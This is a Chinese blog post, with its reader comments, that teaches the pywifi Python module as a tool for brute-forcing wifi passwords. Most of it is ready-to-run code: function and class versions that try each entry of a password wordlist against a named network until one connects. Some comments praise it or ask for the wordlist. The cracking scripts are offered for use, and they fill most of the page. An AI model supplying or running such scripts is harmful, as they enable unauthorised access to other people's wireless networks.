pywifi

python pywifi模块——暴力破解wifi

        </h1>
        <div class="clear"></div>
        <div class="postBody">
            <div id="cnblogs_post_body" class="blogpost-body blogpost-body-html">

pywifi模块介绍:
pywifi提供了一个跨平台的Python模块,用于操作无线接口
支持Windows和Linux

下载安装模块:pip install pywifi  和pip install comtypes

简单尝试:

# f = open('wifi_password.txt','r') # password = f.readline() # while password: # print(password[:-1]) # password = f.readline() # import pywifi from pywifi import const #获取连接状态的常量库 import time # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfaces()[0] # 断开网卡连接 ifaces.disconnect() time.sleep(1) # 获取wifi的连接状态 wifistatus = ifaces.status() # 网卡断开链接后开始连接测试 if wifistatus == const.IFACE_DISCONNECTED: # 创建wifi连接文件 profile = pywifi.Profile() # 要连接的wifi的名称 貌似不能用中文? profile.ssid = '9168hfh' # 网卡的开放状态 | auth - AP的认证算法 profile.auth = const.AUTH_ALG_OPEN # wifi的加密算法,一般wifi 加密算法时wps #选择wifi加密方式 akm - AP的密钥管理类型 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 /cipher - AP的密码类型 profile.cipher = const.CIPHER_TYPE_CCMP # 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE profile.key = pwd # 删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() # 加载新的连接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi连接时间 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接")

 

 

1|01.wifi接口的操作:

这里的接口指我们用来执行wifi操作(例如:扫描,连接,断开…)的接口

通常,我们平台中只有一个Wi-Fi接口,就像你主机不能同时连接多个wifi(骚操作就算了),因此,使用索引0来获得Wi-Fi接口

wifi = pywifi.PyWiFi() #定义接口操作 iface = wifi.interfaces()[0] #这里iface就是获取的wifi接口 #注意:以下的iface全部是指通过此方式获取的wifi接口,在实际操作中可以自己另外命名

接口名字:

print(iface)iface.name() #获取wifi接口名称print(iface.name())

 

扫描wifi(AP):

iface.scan() #触发接口扫描附近wifi(就是AP啦)

获取扫描结果:

iface.scan_result() #获取先前触发扫描的结果,会返回一个列表哟

添加AP配置文件(为了连接):

iface.add_network_profile(配置文件名) #下面会讲解如何进行配置

删除所有AP配置文件(为了下一次新的连接):

iface.remove_all_network_profiles()

返回配置文件列表:

iface.network_profiles() #你连接上wifi的时候可以用这个试试,会返回你连接的wifi的信息

连接wifi:

iface.connect(配置文件名) #通过给定的配置文件连接到指定的AP #注意:添加AP配置文件add_network_profile(profile),应该在连接AP iface.connect(profile)之前

断开AP连接:

iface.disconnect() #断开当前的AP连接

要判断是否连接WiFi,我们需要导入一个常量库:

from pywifi import const iface.status() 将返回以下状态码之一,这个库里面就显示了接口是否连接对于的常量: const.IFACE_DISCONNECTED const.IFACE_SCANNING const.IFACE_INACTIVE const.IFACE_CONNECTING const.IFACE_CONNECTED

 

 

 

2|02.配置文件:

生成配置文件对象:

profile=pywifi.Profile() #生成对象而已,接下来就能对他进行配置操作了

配置文件的操作方式:

ssid - AP的名称 wifi的名称 auth - AP的认证算法 akm - AP的密钥管理类型 wifi的加密算法, cipher - AP的密码类型 key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

*使用方式:

profile.ssid='wifi_name' #wifi名称 profile.auth=const.AUTH_ALG_OPEN #auth - AP的认证算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式 profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密码类型 profile.key=password #wifi密钥 key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

必要的说明:
auth - AP的认证算法:
也是身份验证的算法,其实,几乎所有AP都使用开放算法,尽管我们可以有以下设置

const.AUTH_ALG_OPEN const.AUTH_ALG_SHARED

akm - AP的密钥管理类型:

const.AKM_TYPE_NONE #AP没有安全设置 const.AKM_TYPE_WPAPSK #AP处于WPA模式 const.AKM_TYPE_WPA2PSK #AP处于WPA2模式 AKM_TYPE_WPA和AKM_TYPE_WPA2针对企业的AP(这里就不解释了): const.AKM_TYPE_WPA const.AKM_TYPE_WPA2

cipher - AP的密码类型:

const.CIPHER_TYPE_NONE #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP #通常情况下设置为这个,虽然不知道是什么

接下来就要灵活使用上面的操作了(针对中文wifi名无法破解)

import pywifi from pywifi import const #获取连接状态的常量库 import time # 测试链接,返回连接结果 def wifiConnect(ifaces,pwd): # 断开网卡连接 ifaces.disconnect() time.sleep(1) # 获取wifi的连接状态 wifistatus = ifaces.status() # 网卡断开链接后开始连接测试 if wifistatus == const.IFACE_DISCONNECTED: # 创建wifi连接文件 profile = pywifi.Profile() # 要连接的wifi的名称 貌似不能用中文? profile.ssid = '9168hfh' # 网卡的开放状态 | auth - AP的认证算法 profile.auth = const.AUTH_ALG_OPEN # wifi的加密算法,一般wifi 加密算法时wps #选择wifi加密方式 akm - AP的密钥管理类型 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 /cipher - AP的密码类型 profile.cipher = const.CIPHER_TYPE_CCMP # 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE profile.key = pwd # 删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() # 加载新的连接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi连接时间 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") # 读取密码本 def readPassword(): print("开始破解:") # 密码本路径 path ="wifi_password.txt" # 打开文件 f = open(path,"r") while True: try: # 一行一行读取 password = f.readline() password = password[:-1] # 去除一行末的换行符 bool = wifiConnect(ifaces,password) if bool: print("密码已破解:",password) print("wifi已连接!") ifaces.network_profiles() # 你连接上wifi的时候可以用这个试试,会返回你连接的wifi的信息 break else: print("密码破解中,密码校对:",password) if not password: print('文件已读取完,退出。') f.close() break except: # continue print("error") if __name__ == '__main__': # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfaces()[0] # print(ifaces) # 获取电脑无线网卡的名称 # print(ifaces.name()) readPassword()

 

 

类方法实现

# coding:utf-8 import time #时间 import pywifi #破解wifi from pywifi import const #引用一些定义 from asyncio.tasks import sleep class PoJie(): def __init__(self,path): self.file=open(path,"r",errors="ignore") wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = wifi.interfaces()[0]#抓取第一个无限网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠1秒 #测试网卡是否属于断开状态, assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def readPassWord(self): print("开始破解:") while True: try: myStr =self.file.readline() if not myStr: break bool1=self.test_connect(myStr) if bool1: print("密码正确:",myStr) break else: print("密码错误:"+myStr) sleep(3) except: continue def test_connect(self,findStr):#测试链接 profile = pywifi.Profile() #创建wifi链接文件 profile.ssid ="e2" #wifi名称 profile.auth = const.AUTH_ALG_OPEN #网卡的开放, profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 profile.key = findStr #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件 self.iface.connect(tmp_profile)#链接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def __del__(self): self.file.close() path=r"C:\Users\Administrator\Desktop\csdnwifi.txt" start=PoJie(path) start.readPassWord()

const.CIPHER_TYPE_NONE  #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONEconst.CIPHER_TYPE_WEPconst.CIPHER_TYPE_TKIPconst.CIPHER_TYPE_CCMP  #通常情况下设置为这个,虽然不知道是什么————————————————版权声明:本文为CSDN博主「这是一个死肥宅」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/qq_28840013/article/details/85141156


__EOF__

本文作者komomon
本文链接https://www.cnblogs.com/forforever/p/12398893.html
关于博主:喜欢读书、旅行、爬山。评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!

分类: python
<div id="blog_post_info">
1
1
<div class="clear"></div>
<div id="post_next_prev">

<a href="https://www.cnblogs.com/forforever/p/12392938.html" class="p_n_p_prefix">« </a> 上一篇:    <a href="https://www.cnblogs.com/forforever/p/12392938.html" title="发布于 2020-03-01 23:17">python itertools 模块</a>
<br>
<a href="https://www.cnblogs.com/forforever/p/12398982.html" class="p_n_p_prefix">» </a> 下一篇:    <a href="https://www.cnblogs.com/forforever/p/12398982.html" title="发布于 2020-03-02 23:33">Python中read()、readline()和readlines()三者间的区别和用法</a>
posted @ 2020-03-02 23:18  komomon  阅读(24764)  评论(6编辑  收藏  举报
</div><!--end: topics 文章、评论容器-->


   回复 引用
        </div>

#1楼

2020-08-21 16:31

    <a id="a_comment_author_4664688" href="https://www.cnblogs.com/llt1231/" target="_blank">Dr_L</a>

    </div>
    <div class="feedbackCon">

我就俩字:牛逼!

    </div>
</div>
<div class="feedbackItem"><div class="feedbackAvatar"><a href="https://www.cnblogs.com/forforever/" target="_blank"><img src="https://pic.cnblogs.com/face/1765210/20200920195706.png"></a></div>
    <div class="feedbackListSubtitle feedbackListSubtitle-louzhu">
        <div class="feedbackManage">
            &nbsp;&nbsp;
回复 引用
        </div>

#2楼

[楼主]
2020-12-28 16:25

    <a id="a_comment_author_4787587" href="https://www.cnblogs.com/forforever/" target="_blank">komomon</a>

    </div>
    <div class="feedbackCon">

@端木清
首先自己不行看别人的东西,还恶意骂人???
其次自己有能力自己写呀
还有自己操作都不会,不会写,看都看不懂,你还有脸骂人?

    </div>
</div>
<div class="feedbackItem"><div class="feedbackAvatar"><a href="https://www.cnblogs.com/weber-zheng/" target="_blank"><img src="https://pic.cnblogs.com/face/1764259/20211120104849.png"></a></div>
    <div class="feedbackListSubtitle">
        <div class="feedbackManage">
            &nbsp;&nbsp;
回复 引用
        </div>

#3楼

2021-01-03 11:06

    <a id="a_comment_author_4792122" href="https://www.cnblogs.com/weber-zheng/" target="_blank">新凉别处暑</a>

    </div>
    <div class="feedbackCon">

楼主写的很详细,我只是卡在pywifi安装上了。。。。。

    </div>
</div>
<div class="feedbackItem"><div class="feedbackAvatar"><a href="https://www.cnblogs.com/forforever/" target="_blank"><img src="https://pic.cnblogs.com/face/1765210/20200920195706.png"></a></div>
    <div class="feedbackListSubtitle feedbackListSubtitle-louzhu">
        <div class="feedbackManage">
            &nbsp;&nbsp;
回复 引用
        </div>

#4楼

[楼主]
2021-01-03 11:11

    <a id="a_comment_author_4792127" href="https://www.cnblogs.com/forforever/" target="_blank">komomon</a>

    </div>
    <div class="feedbackCon">

@新凉别处暑
自己根据报错百度下是什么问题,另外也看一下是不是装了多个python,2和3,多个版本pip看下对应的版本,还有就是是不是装的python版本比较高比如3.9。

    </div>
</div>
<div class="feedbackItem"><div class="feedbackAvatar"><a href="https://home.cnblogs.com/u/2372617/" target="_blank"><img src="https://cdn.jsdelivr.net/gh/BNDong/Cnblogs-Theme-SimpleMemory@master/img/webp/default_avatar.webp"></a></div>
    <div class="feedbackListSubtitle">
        <div class="feedbackManage">
            &nbsp;&nbsp;
回复 引用
        </div>

#5楼

2021-09-04 22:25

    <a id="a_comment_author_4933139" href="https://home.cnblogs.com/u/2372617/" target="_blank">慎独7</a>

    </div>
    <div class="feedbackCon">

wifi_password.txt可以发吗

    </div>
</div>
<div class="feedbackItem" style="padding-bottom: 0px;"><div class="feedbackAvatar"><a href="https://home.cnblogs.com/u/2711536/" target="_blank"><img src="https://cdn.jsdelivr.net/gh/BNDong/Cnblogs-Theme-SimpleMemory@master/img/webp/default_avatar.webp"></a></div>
    <div class="feedbackListSubtitle">
        <div class="feedbackManage">
            &nbsp;&nbsp;
回复 引用
        </div>

#6楼


2022-01-02 14:24

    <a id="a_comment_author_4996395" href="https://home.cnblogs.com/u/2711536/" target="_blank">派大星是只海星</a>

    </div>
    <div class="feedbackCon">

@新凉别处暑
这么惨

    </div>
</div>
</div><!--end: forFlow -->
</div>
posted @ 2022-02-14 18:48  寒霜ss  阅读(215)  评论(0)    收藏  举报